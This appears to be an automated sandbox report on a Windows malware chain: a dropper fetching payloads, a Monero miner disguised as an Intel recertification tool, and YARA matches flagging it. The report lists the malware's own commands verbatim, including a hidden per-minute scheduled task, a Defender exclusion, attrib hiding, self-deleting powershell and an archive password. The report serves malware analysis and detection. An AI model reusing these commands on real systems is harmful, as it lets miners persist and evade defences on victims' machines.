Source: 212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apilVh
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978

Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.6:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.6:49979 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.17.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: 5ec1855a88.exe.15.dr	Static PE information: section name:
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: .idata
Source: 5ec1855a88.exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name: .idata
Source: random[2].exe.15.dr	Static PE information: section name:
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name:
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: .idata
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: .idata
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name:
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: .idata
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: .idata
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: 952a8c77c9.exe.15.dr	Static PE information: section name:
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: .idata
Source: 952a8c77c9.exe.15.dr	Static PE information: section name:

PE file has a writeable .text section

Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_004CCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

15_2_004CCB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00537049	0_2_00537049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00538860	0_2_00538860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005378BB	0_2_005378BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005331A8	0_2_005331A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F4B30	0_2_004F4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00532D10	0_2_00532D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F4DE0	0_2_004F4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00527F36	0_2_00527F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0053779B	0_2_0053779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F7049	2_2_004F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F8860	2_2_004F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F78BB	2_2_004F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F31A8	2_2_004F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004B4B30	2_2_004B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F2D10	2_2_004F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004B4DE0	2_2_004B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004E7F36	2_2_004E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004F779B	2_2_004F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F7049	3_2_004F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F8860	3_2_004F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F78BB	3_2_004F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F31A8	3_2_004F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004B4B30	3_2_004B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F2D10	3_2_004F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004B4DE0	3_2_004B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004E7F36	3_2_004E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004F779B	3_2_004F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004BE530	15_2_004BE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004D6192	15_2_004D6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F8860	15_2_004F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004B4B30	15_2_004B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F2D10	15_2_004F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004B4DE0	15_2_004B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004D0E13	15_2_004D0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F7049	15_2_004F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F31A8	15_2_004F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004D1602	15_2_004D1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F779B	15_2_004F779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004F78BB	15_2_004F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004D3DF1	15_2_004D3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004E7F36	15_2_004E7F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe 2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004CD942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004CD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004CD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004C7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004C80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004CDF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 004E8E10 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005080C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 41.3.Intel_PTT_EK_Recertification.exe.23ab23f0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9978712534059946
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978712534059946
Source: random[1].exe0.15.dr	Static PE information: Section: hdinlnsl ZLIB complexity 0.9945380599814233
Source: 5ec1855a88.exe.15.dr	Static PE information: Section: hdinlnsl ZLIB complexity 0.9945380599814233
Source: random[2].exe.15.dr	Static PE information: Section: cgufevln ZLIB complexity 0.9942741181431505
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: Section: cgufevln ZLIB complexity 0.9942741181431505
Source: random[2].exe0.15.dr	Static PE information: Section: enuobymw ZLIB complexity 0.9903189479802383
Source: 4e4758e1fa.exe.15.dr	Static PE information: Section: enuobymw ZLIB complexity 0.9903189479802383
Source: random[2].exe1.15.dr	Static PE information: Section: ZLIB complexity 0.997384685359589
Source: random[2].exe1.15.dr	Static PE information: Section: ogquhcng ZLIB complexity 0.9951316485343004
Source: 952a8c77c9.exe.15.dr	Static PE information: Section: ZLIB complexity 0.997384685359589
Source: 952a8c77c9.exe.15.dr	Static PE information: Section: ogquhcng ZLIB complexity 0.9951316485343004

Source: 1c9c0bfc1e.exe.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 952a8c77c9.exe.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe1.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.15.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 343658ec78.exe.15.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 343658ec78.exe.15.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe2.15.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe2.15.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 48.2.343658ec78.exe.3ed9e78.0.raw.unpack, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 48.2.343658ec78.exe.40006d8.1.raw.unpack, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate
Source: 87322bc62a3f46ebac8ba4f227f3c48a.exe.48.dr, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 87322bc62a3f46ebac8ba4f227f3c48a.exe.48.dr, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate
Source: 48.2.343658ec78.exe.40006d8.1.raw.unpack, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 48.2.343658ec78.exe.3ed9e78.0.raw.unpack, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@72/54@22/10

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1432:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6120:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe "C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe"
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe "C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe "C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe "C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe"
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\xxzyi"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe "C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe "C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe "C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe "C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
